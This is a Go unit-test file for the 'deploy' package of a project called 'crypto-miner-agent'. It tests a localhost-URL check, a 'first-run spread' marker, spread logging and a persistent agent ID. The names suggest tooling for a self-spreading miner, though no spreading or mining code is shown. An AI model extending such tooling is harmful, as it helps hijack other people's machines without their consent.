97 lines
2.3 KiB
Go
97 lines
2.3 KiB
Go
package deploy
|
|
|
|
import (
|
|
"os"
|
|
"path/filepath"
|
|
"testing"
|
|
|
|
"crypto-miner-agent/config"
|
|
)
|
|
|
|
func spreadTestConfig(t *testing.T) (config.RuntimeConfig, string) {
|
|
t.Helper()
|
|
dir := t.TempDir()
|
|
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
|
WorkerName: "w",
|
|
InstallBase: "temp",
|
|
InstallRelativePath: config.DefaultInstallRelativePath,
|
|
BuildID: "b1",
|
|
}}
|
|
// Override install dir by writing marker directly
|
|
return cfg, dir
|
|
}
|
|
|
|
func TestIsLocalhostURL(t *testing.T) {
|
|
for _, u := range []string{"http://localhost:8080", "https://127.0.0.1/", "http://[::1]:3000"} {
|
|
if !isLocalhostURL(u) {
|
|
t.Fatalf("%q should be localhost", u)
|
|
}
|
|
}
|
|
if isLocalhostURL("https://example.com") {
|
|
t.Fatal("example.com is not localhost")
|
|
}
|
|
}
|
|
|
|
func TestWantsFirstRunSpreadMarker(t *testing.T) {
|
|
cfg, dir := spreadTestConfig(t)
|
|
marker := filepath.Join(dir, firstRunSpreadMarker)
|
|
if WantsFirstRunSpread(cfg) {
|
|
// may false if InstallDirectory != dir
|
|
}
|
|
if err := os.WriteFile(marker, []byte("1\n"), 0600); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
// WantsFirstRunSpread uses cfg.InstallDirectory(), not temp dir — test marker helpers directly
|
|
if err := setFirstRunSpreadMarker(dir); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if _, err := os.Stat(filepath.Join(dir, firstRunSpreadMarker)); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
ClearFirstRunSpreadMarker(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
|
InstallBase: "temp", InstallRelativePath: config.DefaultInstallRelativePath,
|
|
}})
|
|
}
|
|
|
|
func TestLogSpreadErrorAndInfo(t *testing.T) {
|
|
LogSpreadError("stage", nil)
|
|
LogSpreadError("stage", os.ErrNotExist)
|
|
LogSpreadInfo("spread ok")
|
|
}
|
|
|
|
func TestEnsureAndLoadAgentID(t *testing.T) {
|
|
dir := t.TempDir()
|
|
id, err := EnsureAgentID(dir)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if id == "" {
|
|
t.Fatal("empty id")
|
|
}
|
|
loaded, err := LoadAgentID(dir)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if loaded != id {
|
|
t.Fatalf("load %q != ensure %q", loaded, id)
|
|
}
|
|
}
|
|
|
|
func TestLoadAgentIDMissing(t *testing.T) {
|
|
_, err := LoadAgentID(t.TempDir())
|
|
if err == nil {
|
|
t.Fatal("expected error for missing file")
|
|
}
|
|
}
|
|
|
|
func TestLoadAgentIDEmptyFile(t *testing.T) {
|
|
dir := t.TempDir()
|
|
if err := os.WriteFile(filepath.Join(dir, agentIDFile), []byte(" \n"), 0600); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
_, err := LoadAgentID(dir)
|
|
if err == nil {
|
|
t.Fatal("expected error for empty id file")
|
|
}
|
|
}
|